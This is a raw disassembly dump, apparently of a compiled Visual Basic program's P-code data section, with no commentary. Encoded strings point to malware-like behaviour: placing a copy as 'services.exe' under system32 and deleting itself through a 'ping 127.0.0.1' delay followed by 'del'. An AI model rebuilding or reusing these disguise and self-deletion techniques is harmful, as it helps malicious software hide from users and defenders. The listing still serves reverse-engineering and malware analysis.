		dd 0AFF5C04h, 40004h, 0AFF4C04h, 40004h, 0F5FEE427h, 1
		dd 3AFF4C04h, 5FF3Ch, 0F5h, 2CFEFE00h, 0FF1428FFh, 94FB0001h
		dd 22FCFF04h, 4FF5C04h,	70AFEC4h, 4001000h, 3160FEC4h
		dd 0C36FF24h, 2CFF4C00h, 4FF5CFFh, 0C4FEE4FFh, 1E0200FEh
		dd 200026Ch, 5C041400h,	40AFFh,	5C040004h, 283160FFh, 0FF5C35FFh
		dd 91B0800h, 0FF244300h, 2C000200h, 0F5h, 0FFFFF500h, 3C3AFFFFh
		dd 4E000AFFh, 5C04FF5Ch, 0FF286CFFh, 0AFF4C04h,	14000Bh
		dd 0FCFF4C04h, 35FE9CF6h, 1500FF5Ch, 0FCFE9C04h, 1F44935h
		dd 1F5CBFCh, 0DB000000h, 3DB1Ch, 1F51Fh, 74040000h, 0FE9C04FFh
		dd 0F44935FCh, 0F5CBFC01h, 2, 0FE906CFEh, 2D000388h, 20F5h
		dd 0FF5C0400h, 8000C0Ah, 0FF5C0400h, 100F5h, 0FF4C0400h
		dd 0C000D0Ah, 0FF4C0400h, 0FE983160h, 5C000436h, 0FF4CFFh
		dd 0FF74046Ch, 400393FDh, 0FEFE9C04h, 1FF5CAEh,	0F58BFC00h
		dd 100h, 4FE986Ch, 6C34FE88h, 5C04FE88h, 0B0FEFDFFh, 0FE8C04FEh
		dd 0FE8C6C34h, 0C000E5Eh, 0FEAC7100h, 0FE886C3Ch, 0FCFE9804h
		dd 0FEAC6C58h, 4DFE9804h, 4008FF14h, 0AFF4C04h,	0C000Fh
		dd 60FF4C04h, 32FE9831h, 0FEB00006h, 0FE88FE8Ch, 5C000436h
		dd 0FF4CFFh, 0FF740417h, 400393FDh, 46FE986Ch, 425FF14h
		dd 0B0FEFE9Ch, 0A000001h, 67FF7404h, 2CEFE90h, 91B0800h
		dd 0FF284300h, 0F51A00h, 4000000h, 9C04FF74h, 4935FCFEh
		dd 0CBFC01F4h, 0FE8064FEh, 270003DBh, 46FF286Ch, 7404FF14h
		dd 393FDFFh, 0FE9C0440h, 0FF5CAEFEh, 0EFFB0001h, 3160FF4Ch
		dd 436FF28h, 4CFF5C00h,	40A00FFh, 8066FF74h, 3AAFEh, 0F50A0002h
		dd 44h,	0FE2C71h, 0FF246C0Fh, 0F54Ah, 1CC70000h, 5E000457h
		dd 4FE7004h, 0E804FE2Ch, 101FFDh, 0F5FDE804h, 0
		dd 0F5h, 0F500h, 0F50000h, 0F5000000h, 0
		dd 0F5h, 0FF286C00h, 34FEB004h,	0F5FEB06Ch, 0
		dd 2800110Ah, 0E8043C00h, 0FE2C04FDh, 6C001020h, 2804FEB0h
		dd 2F58FCFFh, 0F6FEFEB0h, 10FDE8h, 4E11Eh, 0F5880002h
		dd 20h,	0AFF5C04h, 8000Ch, 4FE7004h, 0A404FE2Ch, 101FFDh
		dd 0F5FDA404h, 0
		dd 0F5h, 0F500h, 0F50000h, 0F5000000h, 0
		dd 0F5h, 0FF286C00h, 4FF3C46h, 0EFFBFF5Ch, 246CFF4Ch, 0FF1446FFh
		dd 0FF2CEFFBh, 0FEB0FEFDh, 34FE8C04h, 0F5FE8C6Ch, 0
		dd 2800110Ah, 0A4043C00h, 0FE2C04FDh, 32001020h, 0FEB00004h
		dd 636FE8Ch, 4CFF5C00h,	0FEFF2CFFh, 10FDA4F6h, 20000h
		dd 4150002h, 0F5FDA2h, 10000000h, 12070Ch, 1CFDA26Bh, 17000515h
		dd 0FD00086Ch, 5FF789Ch, 1240000h, 100D00h, 781A0002h
		dd 0FC0400FFh, 20200C8h, 4DF500h, 5C040000h, 0C0AFFh, 5C040008h
		dd 53F5FFh, 4C040000h, 0C0AFFh,	4C040008h, 2CEFFBFFh, 57F5FFh
		dd 4040000h, 0C0AFFh, 4040008h,	0E4EFFBFFh, 49F5FEh, 0C4040000h
		dd 0C0AFEh, 0C4040008h,	0B4EFFBFEh, 4EF5FEh, 90040000h
		dd 0C0AFDh, 90040008h, 80EFFBFDh, 53F5FDh, 70040000h, 0C0AFDh
		dd 70040008h, 60EFFBFDh, 43F5FDh, 50040000h, 0C0AFDh, 50040008h
		dd 40EFFBFDh, 4BF5FDh, 30040000h, 0C0AFDh, 30040008h, 20EFFBFDh
		dd 2EF5FDh, 10040000h, 0C0AFDh,	10040008h, 0EFFBFDh, 4FF5FDh
		dd 0F0040000h, 0C0AFCh,	0F0040008h, 0E0EFFBFCh,	43F5FCh
		dd 0D0040000h, 0C0AFCh,	0D0040008h, 0C0EFFBFCh,	58F5FCh
		dd 0B0040000h, 0C0AFCh,	0B0040008h, 0A0EFFBFCh,	0B02360FCh
		dd 808FEh, 3491FDh, 36FEB02Fh, 0FF5C002Eh, 0FF2CFF4Ch
		dd 0FEE4FF04h, 0FEB4FEC4h, 0FD80FD90h, 0FD60FD70h, 0FD40FD50h
		dd 0FD20FD30h, 0FD00FD10h, 0FCE0FCF0h, 0FCC0FCD0h, 0FCA0FCB0h
		dd 73F50102h, 4000000h,	0C0AFF5Ch, 4000800h, 65F5FF5Ch
		dd 4000000h, 0C0AFF4Ch,	4000800h, 0EFFBFF4Ch, 72F5FF2Ch
		dd 4000000h, 0C0AFF04h,	4000800h, 0EFFBFF04h, 76F5FEE4h
		dd 4000000h, 0C0AFEC4h,	4000800h, 0EFFBFEC4h, 69F5FEB4h
		dd 4000000h, 0C0AFD90h,	4000800h, 0EFFBFD90h, 63F5FD80h
		dd 4000000h, 0C0AFD70h,	4000800h, 0EFFBFD70h, 65F5FD60h
		dd 4000000h, 0C0AFD50h,	4000800h, 0EFFBFD50h, 73F5FD40h
		dd 4000000h, 0C0AFD30h,	4000800h, 0EFFBFD30h, 2EF5FD20h
		dd 4000000h, 0C0AFD10h,	4000800h, 0EFFBFD10h, 65F5FD00h
		dd 4000000h, 0C0AFCF0h,	4000800h, 0EFFBFCF0h, 78F5FCE0h
		dd 4000000h, 0C0AFCD0h,	4000800h, 0EFFBFCD0h, 65F5FCC0h
		dd 4000000h, 0C0AFCB0h,	4000800h, 0EFFBFCB0h, 2360FCA0h
		dd 808FEB0h, 3891FD00h,	0FEB02F00h, 5C002E36h, 2CFF4CFFh
		dd 0E4FF04FFh, 0B4FEC4FEh, 80FD90FEh, 60FD70FDh, 40FD50FDh
		dd 20FD30FDh, 0FD10FDh,	0E0FCF0FDh, 0C0FCD0FCh,	0A0FCB0FCh
		dd 0F50202FCh, 0
		dd 31F5h, 0FC800400h, 18EFEh, 100000h, 3C280880h, 0F50026FFh
		dd 0
		dd 52FC806Ch, 7EFF1428h, 1F500h, 806C0000h, 0F42852FCh
		dd 0F500CCFEh, 2, 52FC806Ch, 4AFED428h,	3F500h,	806C0000h
		dd 702852FCh, 0F50045FCh, 4, 52FC806Ch,	0E6FC6028h, 5F500h
		dd 806C0000h, 502852FCh, 0F5007AFCh, 6,	52FC806Ch, 0C7FC4028h
		dd 7F500h, 806C0000h, 302852FCh, 0F5007AFCh, 8,	52FC806Ch
		dd 80FC2028h, 9F500h, 806C0000h, 102852FCh, 0F50044FCh
		dd 0Ah,	52FC806Ch, 0EAFC0028h, 0BF500h,	806C0000h, 0F02852FCh
		dd 0F500D3FBh, 0Ch, 52FC806Ch, 6EFBE028h, 0DF500h, 806C0000h
		dd 0D02852FCh, 0F500CCFBh, 0Eh,	52FC806Ch, 99FBC028h, 0FF500h
		dd 806C0000h, 0B02852FCh, 0F5002EFBh, 10h, 52FC806Ch, 6BFBA028h
		dd 11F500h, 806C0000h, 902852FCh, 0F500F6FBh, 12h, 52FC806Ch
		dd 0FAFB8028h, 13F500h,	806C0000h, 702852FCh, 0F500A8FBh
		dd 14h,	52FC806Ch, 68FB6028h, 15F500h, 806C0000h, 502852FCh
		dd 0F500FBFBh, 16h, 52FC806Ch, 35FB4028h, 17F500h, 806C0000h
		dd 302852FCh, 0F50058FBh, 18h, 52FC806Ch, 76FB2028h, 19F500h
		dd 806C0000h, 102852FCh, 0F500BBFBh, 1Ah, 52FC806Ch, 7BFB0028h
		dd 1BF500h, 806C0000h, 0F02852FCh, 0F5003CFAh, 1Ch, 52FC806Ch
		dd 0E6FAE028h, 1DF500h,	806C0000h, 0D02852FCh, 0F50051FAh
		dd 1Eh,	52FC806Ch, 47FAC028h, 1FF500h, 806C0000h, 0B02852FCh
		dd 0F50073FAh, 20h, 52FC806Ch, 0AFFAA028h, 21F500h, 806C0000h
		dd 902852FCh, 0F500E8FAh, 22h, 52FC806Ch, 0E3FA8028h, 23F500h
		dd 806C0000h, 702852FCh, 0F500ADFAh, 24h, 52FC806Ch, 11FA6028h
		dd 25F500h, 806C0000h, 502852FCh, 0F500D4FAh, 26h, 52FC806Ch
		dd 2FFA4028h, 27F500h, 806C0000h, 302852FCh, 0F500E0FAh
		dd 28h,	52FC806Ch, 78FA2028h, 29F500h, 806C0000h, 102852FCh
		dd 0F500DCFAh, 2Ah, 52FC806Ch, 9EFA0028h, 2BF500h, 806C0000h
		dd 0F02852FCh, 0F5003EF9h, 2Ch,	52FC806Ch, 0A3F9E028h
		dd 2DF500h, 806C0000h, 0D02852FCh, 0F500D6F9h, 2Eh, 52FC806Ch
		dd 81F9C028h, 2FF500h, 806C0000h, 0B02852FCh, 0F50063F9h
		dd 30h,	52FC806Ch, 6F9A028h, 31F500h, 806C0000h, 800452FCh
		dd 0FF5C04FCh, 800130Ah, 0FC800400h, 0FF5C045Ah, 0FC84F6FCh
		dd 0B0044100h, 0FF7804FEh, 24000005h, 140D0001h, 8000200h
		dd 580DFF78h, 3E000300h, 5C46FEB0h, 0FF4C04FFh,	800140Ah
		dd 0FF4C0400h, 15FF3C3Ah, 33FB5D00h, 36FF781Ah,	0FF5C0004h
		dd 0A71CFF4Ch, 0F407000Ah, 0F99870FFh, 0AB01Eh,	0F4070002h
		dd 0F9987000h, 0A000200h, 0F5h,	0FF707100h, 0FFF50A00h
		dd 71FFFFFFh, 1900F974h, 0F5h, 0F500h, 94040000h, 18EFEFCh
		dd 1001100h, 8000h, 65F515h, 74040000h,	12CF5FFh, 64FE0000h
		dd 0BD9F96Ch, 5C043000h, 0FF143AFFh, 6C250016h,	69FDFF74h
		dd 525FF3Ch, 1240000h, 380D00h,	5C040002h, 6860FCFFh, 0F96804F9h
		dd 0FFFC9404h, 0FF5C3501h, 746C0E00h, 0FFFFF5F9h, 1CC7FFFFh
		dd 0A000B3Fh, 0F5h, 0F9747100h,	0B531Eh, 6C120002h, 1F4FC9Ch
		dd 1F5CBFCh, 0AA000000h, 0F97471h, 6C160002h, 946CFF70h
		dd 0FC01F4FCh, 1F5AACBh, 0AA000000h, 0FF7071h, 0F51Dh
		dd 706C0000h, 1F5FFh, 4AE0000h,	8FFEFC9Ch, 110001h, 800001h
		dd 746C4700h, 0FC9C6CF9h, 40F9642Eh, 400175Eh, 0FEAC7100h
		dd 0F5F9642Dh, 0
		dd 2EFC946Ch, 5E40F960h, 40017h, 2DF95C71h, 946CF960h
		dd 0FC01F4FCh, 1F5CBh, 6CAA0000h, 0AC6CF95Ch, 180AFEh
		dd 3C000Ch, 0FF74040Ah,	0F4F96C66h, 0F50A000Ah,	0
		dd 0FF7071h, 0FFFFF50Ah, 7471FFFFh, 0F51900F9h,	0
		dd 0F5h, 0FC940400h, 18EFEh, 10011h, 15000080h,	12DF5h
		dd 0FF740400h, 1F4F5h, 5464FE00h, 0D00F9h, 0FF5C0430h
		dd 16FF143Ah, 746C2500h, 3C69FDFFh, 525FFh, 12400h, 200380Dh
		dd 0FF5C0400h, 0F96860FCh, 4F96804h, 1FFFC94h, 0FF5C35h
		dd 0F9746C0Eh, 0FFFFFFF5h, 661CC7FFh, 0F50A000Ch, 0
		dd 1EF97471h, 2000C7Ah,	986C1200h, 0FC01F4FCh, 1F5CBh
		dd 71AA0000h, 200F974h,	706C1600h, 0FC946CFFh, 0CBFC01F4h
		dd 1F5AAh, 71AA0000h, 1D00FF70h, 0F5h, 0FF706C00h, 1F5h
		dd 9804AE00h, 18FFEFCh,	1001100h, 8000h, 0F9746C47h, 2EFC986Ch
		dd 5E40F964h, 40017h, 2DFEAC71h, 0F5F964h, 6C000000h, 602EFC94h
		dd 175E40F9h, 71000400h, 602DF95Ch, 0FC946CF9h,	0CBFC01F4h
		dd 1F5h, 5C6CAA00h, 0FEAC6CF9h,	0C00180Ah, 0A003C00h, 66FF7404h
		dd 0C1BF954h, 0F52D00h,	4000000h, 0C0AFF5Ch, 4000800h
		dd 0F5FF5Ch, 4000001h, 0D0AFF4Ch, 4000C00h, 3160FF4Ch
		dd 436F984h, 4CFF5C00h,	0F50302FFh, 53h, 0AFF5C04h, 8000Ch
		dd 79F5h, 0FF4C0400h, 8000C0Ah,	73F500h, 4040000h, 0C0AFFh
		dd 74F50008h, 4000000h,	0C0AFEC4h, 0F5000800h, 65h, 0AFD9004h
		dd 8000Ch, 6DF5h, 0FD700400h, 8000C0Ah,	52F500h, 50040000h
		dd 0C0AFDh, 6FF50008h, 4000000h, 0C0AFD30h, 0F5000800h
		dd 6Fh,	0AFD1004h, 8000Ch, 74F5h, 0FCF00400h, 8000C0Ah
		dd 100F500h, 846C0000h,	0FE8804F9h, 0FE886C34h,	4FF5C04h
		dd 0EFFBFF4Ch, 404FF2Ch, 0E4EFFBFFh, 0FEC404FEh, 0FEB4EFFBh
		dd 0FBFD9004h, 4FD80EFh, 0EFFBFD70h, 5004FD60h,	40EFFBFDh
		dd 0FD3004FDh, 0FD20EFFBh, 0FBFD1004h, 4FD00EFh, 0EFFBFCF0h
		dd 0FEFDFCE0h, 8C04FEB0h, 8C6C34FEh, 0E5EFEh, 0AC71000Ch
		dd 886C3CFEh, 0F98404FEh, 0AC6C58FCh, 0F98404FEh, 8FF3C4Dh
		dd 0FCD00440h, 0C000F0Ah, 0FCD00400h, 0F9843160h, 0B0000632h
		dd 88FE8CFEh, 2836FEh, 0FF4CFF5Ch, 0FF04FF2Ch, 0FEC4FEE4h
		dd 0FD90FEB4h, 0FD70FD80h, 0FD50FD60h, 0FD30FD40h, 0FD10FD20h
		dd 0FCF0FD00h, 0FCD0FCE0h, 1F57500h, 4000000h, 3C4DF984h
		dd 44008FFh, 190AFF5Ch,	0F5000C00h, 5Ch, 0AFF4C04h, 8000Ch
		dd 46F9846Ch, 5CF5FF14h, 4000000h, 0C0AFF04h, 4000800h
		dd 0EFFBFF04h, 8404FEE4h, 0FEF44DF9h, 5C044008h, 0FF4C04FFh
		dd 0FF2C2FFBh, 0FEC4F6FCh, 4FEC404h, 1A0AFEB4h,	4001000h
		dd 3160FEB4h, 0C36F984h, 4CFF5C00h, 0C4FF04FFh,	0B4FEE4FEh
		dd 6C0C00FEh, 1B1BF984h, 88312A00h, 6CE700F9h, 3C46F984h
		dd 73F5FFh, 5C040000h, 0C0AFFh,	5C040008h, 4CEFFBFFh, 79F5FFh
		dd 2C040000h, 0C0AFFh, 2C040008h, 4EFFBFFh, 73F5FFh, 0E4040000h
		dd 0C0AFEh, 0E4040008h,	0C4EFFBFEh, 74F5FEh, 0B4040000h
		dd 0C0AFEh, 0B4040008h,	90EFFBFEh, 65F5FDh, 80040000h
		dd 0C0AFDh, 80040008h, 70EFFBFDh, 6DF5FDh, 60040000h, 0C0AFDh
		dd 60040008h, 50EFFBFDh, 33F5FDh, 40040000h, 0C0AFDh, 40040008h
		dd 30EFFBFDh, 32F5FDh, 20040000h, 0C0AFDh, 20040008h, 10EFFBFDh
		dd 5CF5FDh, 40000h, 0C0AFDh, 40008h, 0F0EFFBFDh, 843160FCh
		dd 2436F9h, 0FF4CFF5Ch,	0FF04FF2Ch, 0FEC4FEE4h,	0FD90FEB4h
		dd 0FD70FD80h, 0FD50FD60h, 0FD30FD40h, 0FD10FD20h, 0FCF0FD00h
		dd 0A2044200h, 0F9886CFDh, 8A000808h, 232A0038h, 10FEB0h
		dd 6B001207h, 1F5FDA2h,	0B000000h, 1Ch,	1BFE8C23h, 0F5001Dh
		dd 0FE000000h, 0F5FDh, 0C4C70000h, 0B0000432h, 1CFE8CFEh
		dd 28001056h, 8F9886Ch,	388A0008h, 0B0232A00h, 1E5EFEh
		dd 986C0004h, 0FC01F4FCh, 1F5CBh, 0CCAA0000h, 1CFEB02Fh
		dd 7001048h, 9A70FFF4h,	10511EF9h, 7000200h, 9A7000F4h
		dd 1E0200F9h, 200106Ch,	0FFF40700h, 0F99A70h, 0FF5C040Dh
		dd 12070410h, 0FF5C3500h, 7000200h, 9C70FFF4h, 42000F9h
		dd 846CFDA2h, 808F9h, 2A00348Ah, 10FEB023h, 120700h, 2FFDA26Bh
		dd 0E61CFEB0h, 6C220010h, 808F984h, 348A00h, 0FEB0232Ah
		dd 4001E5Eh, 0FC9C6C00h, 0CBFC01F4h, 0FEB02FD1h, 10D81Ch
		dd 0F9846C17h, 8A000808h, 462A0034h, 1F0AFF5Ch,	35000400h
		dd 700FF5Ch, 9C70FFF4h,	10E11EF9h, 7000200h, 9C7000F4h
		dd 1E0200F9h, 20010EFh,	0FFF40700h, 0F99C70h, 6B080002h
		dd 231CF99Ch, 27100012h, 200BFF5Ch, 70000400h, 5C35F99Eh
		dd 6C1B00FFh, 808F984h,	348A00h, 0FEB0232Ah, 0F4F99E6Bh
		dd 205DFEFFh, 0FEB02F00h, 0FFF50A00h, 71FFFFFFh, 1700FF70h
		dd 0F5h, 0FF740400h, 0F4FC9C6Ch, 0FECBFC01h, 1CF94C64h
		dd 6C0E0012h, 1F5FF70h,	0AA000000h, 0FF7071h, 0FF706C0Eh
		dd 32F5h, 6B1CC700h, 0F50A0011h, 0
		dd 0FF7071h, 0FF746C31h, 0FCFC9C6Ch, 4414FC90h,	7004FF14h
		dd 393FDFFh, 0FC840440h, 0FF5CAEFEh, 9CFB0001h,	0F428FF4Ch
		dd 5D0000FEh, 5C3567FBh, 11D91CFFh, 9E6B3A00h, 0FF746CF9h
		dd 0FCFC9C6Ch, 0F314FC90h, 44A90100h, 7004FEF4h, 393FDFFh
		dd 0FC840440h, 0FF5CAEFEh, 9CFB0001h, 44FCFF4Ch, 0FDA2C2FDh
		dd 1F5h, 3577FC00h, 101EFF5Ch, 20012h, 0F99E6B35h, 6CFF746Ch
		dd 90FCFC9Ch, 0FEF467FDh, 0FDFF7004h, 4400393h,	0AEFEFC84h
		dd 1FF5Ch, 0FF4C9CFBh, 0C2FD44FCh, 1F5FDA2h, 0FC000000h
		dd 0FF5C3577h, 0A000200h, 66FF7404h, 1145F94Ch,	9E6B0700h
		dd 3DFDF9h, 0F5290002h,	0
		dd 6C00211Bh, 232AF984h, 808FEB0h, 348A00h, 0FF5C462Ah
		dd 800220Ah, 0F9907400h, 35FEB02Fh, 1F00FF5Ch, 0E8F9906Fh
		dd 0F5h, 400F500h, 235E0000h, 71000C00h, 6C3CFEACh, 8C71FEACh
		dd 0F51000F9h, 0FFFFFFFFh, 0AF98C6Ch, 80024h, 6C0B003Ch
		dd 250AF98Ch, 3C000400h, 9A6B0800h, 14021CF9h, 0A2042000h
		dd 0F9886CFDh, 8A000808h, 232A0038h, 10FEB0h, 6B001207h
		dd 0B02FFDA2h, 12CA1CFEh, 886C1700h, 808F9h, 2A00388Ah
		dd 0AFF5C46h, 4001Fh, 1EFF5C35h, 20012D6h, 886C0A00h, 260AF9h
		dd 2000004h, 5C271000h,	200BFFh, 9E700004h, 0FF5C35F9h
		dd 886C1B00h, 808F9h, 2A00388Ah, 6BFEB023h, 0FFF4F99Eh
		dd 205DFEh, 0FEB02Fh, 0FFFFF50Ah, 7071FFFFh, 0F51700FFh
		dd 0
; ---------------------------------------------------------------------------
		add	al, 74h
		jmp	fword ptr [eax+ebx*4-4]
; ---------------------------------------------------------------------------
		dw 1F4h
; ---------------------------------------------------------------------------
		cld
		retf
; ---------------------------------------------------------------------------
		dw 64FEh
		dd 13FBF944h, 706C0E00h, 1F5FFh, 71AA0000h, 0E00FF70h
		dd 0F5FF706Ch, 32h, 134A1CC7h, 0F50A00h, 71000000h, 3100FF70h
		dd 6CFF746Ch, 90FCFC98h, 144414FCh, 0FF7004FFh,	400393FDh
		dd 0FEFC8404h, 1FF5CAEh, 4C9CFB00h, 0FEF428FFh,	0FB5D0000h
		dd 0FF5C3567h, 13B81Ch,	0F99E6B3Ah, 6CFF746Ch, 90FCFC98h
		dd 0F314FCh, 0F444A901h, 0FF7004FEh, 400393FDh,	0FEFC8404h
		dd 1FF5CAEh, 4C9CFB00h,	0FD44FCFFh, 0F5FDA2C2h,	1, 5C3577FCh
		dd 13EF1EFFh, 35000200h, 6CF99E6Bh, 986CFF74h, 0FD90FCFCh
		dd 4FEF467h, 93FDFF70h,	84044003h, 5CAEFEFCh, 0FB0001FFh
		dd 0FCFF4C9Ch, 0A2C2FD44h, 1F5FDh, 77FC0000h, 0FF5C35h
		dd 40A0002h, 4466FF74h,	1324F9h, 0F99E6B07h, 2003DFDh
		dd 5C041D00h, 0F9886CFFh, 8A000808h, 232A0038h,	0F810FEB0h
		dd 2F001206h, 5C35FEB0h, 0F51C00FFh, 2,	8F9886Ch, 388A0008h
		dd 0B0232A00h, 270AFEh,	0B02F0008h, 0F51F00FEh,	0
		dd 8F9886Ch, 388A0008h,	5C462A00h, 220AFFh, 3C740008h
		dd 0FF5C35F9h, 0B0040402h, 0FF7804FEh, 24000005h, 140D0001h
		dd 8000200h, 500DFF78h,	0F5000300h, 1, 46FEB03Eh, 4C04FF5Ch
		dd 190AFFh, 8C04000Ch, 0F93404FEh, 24000005h, 140D0001h
		dd 8000200h, 500DF934h,	4000300h, 3004FE88h, 5F9h, 0D000124h
		dd 20014h, 0DF93008h, 30050h, 4AFE886Ch, 1F5h, 8C3EAE00h
		dd 0FF0446FEh, 0AFEE404h, 0C000Fh, 4F92804h, 5F92Ch, 12400h
		dd 200140Dh, 0F92C0800h, 300500Dh, 0F9283E00h, 4FEB446h
		dd 4C04FEE4h, 0FF3C3AFFh, 0FB5D0028h, 0FCFF2C2Fh, 4FEC4F6h
		dd 9004FEC4h, 1A0AFDh, 90040010h, 0FF143AFDh, 0EFFB0028h
		dd 2004FD80h, 0F92404F9h, 24000005h, 140D0001h,	8000200h
		dd 580DF924h, 3E000300h, 7046F920h, 60EFFBFDh, 0FEF43AFDh
		dd 0EFFB0029h, 3160FD50h, 882FF938h, 0A29FEh, 0F934FF78h
		dd 0F92CF930h, 1636F924h, 4CFF5C00h, 0C4FF04FFh, 0B4FEE4FEh
		dd 80FD90FEh, 60FD70FDh, 0FD50FDh, 0F9986B08h, 19BB1Ch
		dd 0FF3C3A28h, 5C4E0005h, 0FF5C04FFh, 100F5h, 0FF4C0400h
		dd 0C000D0Ah, 0FF4C0400h, 0F91C3160h, 5C000436h, 0FF4CFFh
		dd 0F91C6C42h, 34FEB004h, 0F5FEB06Ch, 100h, 8002A5Eh, 0FEAC7100h
		dd 0FEB06C3Ch, 0FCF91C04h, 0FEAC6C58h, 4DF91C04h, 4008FF3Ch
		dd 0AFF5C04h, 0C000Fh, 60FF5C04h, 2FF91C31h, 5C35FEB0h
		dd 0F5BD00FFh, 1, 4DF91C04h, 4008FF3Ch,	0AFF5C04h, 0C0019h
		dd 4AF91C6Ch, 1F5h, 1C04AE00h, 0FEF44DF9h, 2C044008h, 0F0AFFh
		dd 0B427000Ch, 2B0AFEh,	0AC730004h, 0F91C04FEh,	8FED44Dh
		dd 0FF2C0440h, 3AFF5C04h, 28FF14h, 4C2FFB5Dh, 4F6FCFFh
		dd 0FF0404FFh, 0AFEE404h, 10001Ah, 3AFEE404h, 2CFC70h
		dd 0FEC4EFFBh, 0F5h, 0FFFFF500h, 1F5FFFFh, 1B000000h, 2D1B0009h
		dd 0FEAC6E00h, 0B023FFFBh, 2E0BFEh, 90460018h, 80EFFBFDh
		dd 0FC503AFDh, 0EFFB002Fh, 3160FD70h, 0B02FF91Ch, 1236FEh
		dd 0FF04FF5Ch, 0FEE4FF2Ch, 0FEC4FEB4h, 0FD80FD90h, 1000FD70h
		dd 0BFF5C27h, 40020h, 35F99E70h, 0D00FF5Ch, 0AFF5C27h
		dd 40030h, 2FF5C35h, 70F505h, 5C040000h, 0C0AFFh, 5C040008h
		dd 69F5FFh, 4C040000h, 0C0AFFh,	4C040008h, 2CEFFBFFh, 6EF5FFh
		dd 4040000h, 0C0AFFh, 4040008h,	0E4EFFBFFh, 67F5FEh, 0C4040000h
		dd 0C0AFEh, 0C4040008h,	0B4EFFBFEh, 20F5FEh, 90040000h
		dd 0C0AFDh, 90040008h, 80EFFBFDh, 31F5FDh, 70040000h, 0C0AFDh
		dd 70040008h, 60EFFBFDh, 32F5FDh, 50040000h, 0C0AFDh, 50040008h
		dd 40EFFBFDh, 37F5FDh, 30040000h, 0C0AFDh, 30040008h, 20EFFBFDh
		dd 2EF5FDh, 10040000h, 0C0AFDh,	10040008h, 0EFFBFDh, 30F5FDh
		dd 0F0040000h, 0C0AFCh,	0F0040008h, 0E0EFFBFCh,	2EF5FCh
		dd 0D0040000h, 0C0AFCh,	0D0040008h, 0C0EFFBFCh,	30F5FCh
		dd 0B0040000h, 0C0AFCh,	0B0040008h, 0A0EFFBFCh,	2EF5FCh
		dd 8040000h, 0C0AF9h, 8040008h,	0F8EFFBF9h, 31F5F8h, 0E8040000h
		dd 0C0AF8h, 0E8040008h,	0D8EFFBF8h, 0FF3C3AF8h,	0EFFB0031h
		dd 3160F8C8h, 3836F918h, 4CFF5C00h, 4FF2CFFh, 0C4FEE4FFh
		dd 90FEB4FEh, 70FD80FDh, 50FD60FDh, 30FD40FDh, 10FD20FDh
		dd 0F0FD00FDh, 0D0FCE0FCh, 0B0FCC0FCh, 8FCA0FCh, 0E8F8F8F9h
		dd 0C8F8D8F8h, 0F5AA00F8h, 64h,	0AFF5C04h, 8000Ch, 0F5FF5C04h
		dd 65h,	0AFF4C04h, 8000Ch, 0FBFF4C04h, 0F5FF2CEFh, 6Ch
		dd 0AFF0404h, 8000Ch, 0FBFF0404h, 0F5FEE4EFh, 20h, 0AFEC404h
		dd 8000Ch, 0FBFEC404h, 0F5FEB4EFh, 22h,	0AFD9004h, 8000Ch
		dd 0FBFD9004h, 6CFD80EFh, 3C46F938h, 70EFFBFFh,	22F5FDh
		dd 60040000h, 0C0AFDh, 60040008h, 50EFFBFDh, 0FF143AFDh
		dd 0EFFB0031h, 3160FD40h, 1A36F918h, 4CFF5C00h,	4FF2CFFh
		dd 0C4FEE4FFh, 90FEB4FEh, 70FD80FDh, 50FD60FDh,	0FD40FDh
		dd 0F9186CB6h, 0F5FF3C46h, 64h,	0AFF5C04h, 8000Ch, 0FBFF5C04h
		dd 0F5FF4CEFh, 65h, 0AFF2C04h, 8000Ch, 0FBFF2C04h, 0F5FF04EFh
		dd 6Ch,	0AFEE404h, 8000Ch, 0FBFEE404h, 0F5FEC4EFh, 20h
		dd 0AFEB404h, 8000Ch, 0FBFEB404h, 0F5FD90EFh, 22h, 0AFD8004h
		dd 8000Ch, 0FBFD8004h, 6CFD70EFh, 1446F91Ch, 60EFFBFFh
		dd 22F5FDh, 50040000h, 0C0AFDh,	50040008h, 40EFFBFDh, 0FEF43AFDh
		dd 0EFFB0031h, 3160FD30h, 1C36F918h, 4CFF5C00h,	4FF2CFFh
		dd 0C4FEE4FFh, 90FEB4FEh, 70FD80FDh, 50FD60FDh,	30FD40FDh
		dd 6C0E00FDh, 9E6BF91Ch, 0FEFFF4F9h, 25Dh, 0F9186C0Eh
		dd 0FFF99E6Bh, 0C00320Eh, 6B070000h, 3DFDF99Eh,	0F51700h
		dd 4000000h, 3C4DF91Ch,	0A4008FFh, 80022h, 0F93C74h, 6C170002h
		dd 9CFD0008h, 5FF78h, 12400h, 200100Dh,	0FF781A00h, 0FE4B0500h
		dd 130000FFh
off_405AFC	dd offset dword_401768+4 ; DATA	XREF: .text:00401920o
					; .text:00401A1Do
		dd 6B40004h, 10C19DCh, 0
		db 0CCh
		db 1, 13h, 0
		dd 0
		dd 0F2h, 120000h, 10000000h, 3069FDE8h,	0FFFF0000h, 401C84h
		dd 4 dup(0)
		dd 3069FDA4h, 0FFFF0000h, 401C84h, 4 dup(0)
		dd 2001F918h, 0FFFF0000h, 2009FE70h, 0FFFF0000h, 5 dup(0)
		dd 2001F91Ch, 0FFFF0000h, 2001F984h, 0FFFF0000h, 2001F988h
		dd 0FFFF0000h, 2105FC94h, 0FFFF0000h, 0FC9C0000h, 2105h
		dd 0FFFFh, 2105FC98h, 0FFFF0000h, 0FC840000h, 2002h, 0FE98FFFFh
		dd 2001h, 0FF24FFFFh, 2001h, 0FE2CFFFFh, 2069h,	1C84FFFFh
		dd 40h,	3 dup(0)
		dd 0FE9C0000h, 2002h, 0F938FFFFh, 2001h, 0FF28FFFFh, 2001h
		dd 0F978FFFFh, 2001h, 0FFFFh, 0C0h, 2A0000h, 0
		dd 6F964h, 6F960h, 1FEB0h, 1FE8Ch, 1FE88h, 1F928h, 1F920h
		dd 3FF78h, 3F934h, 3F930h, 3F92Ch, 3F924h, 2FF5Ch, 2FF4Ch
		dd 2FF2Ch, 2FF04h, 2FEE4h, 2FEC4h, 2FEB4h, 2FD90h, 2FD80h
		dd 2FD70h, 2FD60h, 2FD50h, 2FD40h, 2FD30h, 2FD20h, 2FD10h
		dd 2FD00h, 2FCF0h, 2FCE0h, 2FCD0h, 2FCC0h, 2FCB0h, 2FCA0h
		dd 2F908h, 2F8F8h, 2F8E8h, 2F8D8h, 2F8C8h, 105FC80h, 0
		dd 0F9680002h, 105h, 0
		dd 12D0006h, 2EB012Dh, 11B013Fh, 15Eh, 2 dup(0CCCCCCCCh)
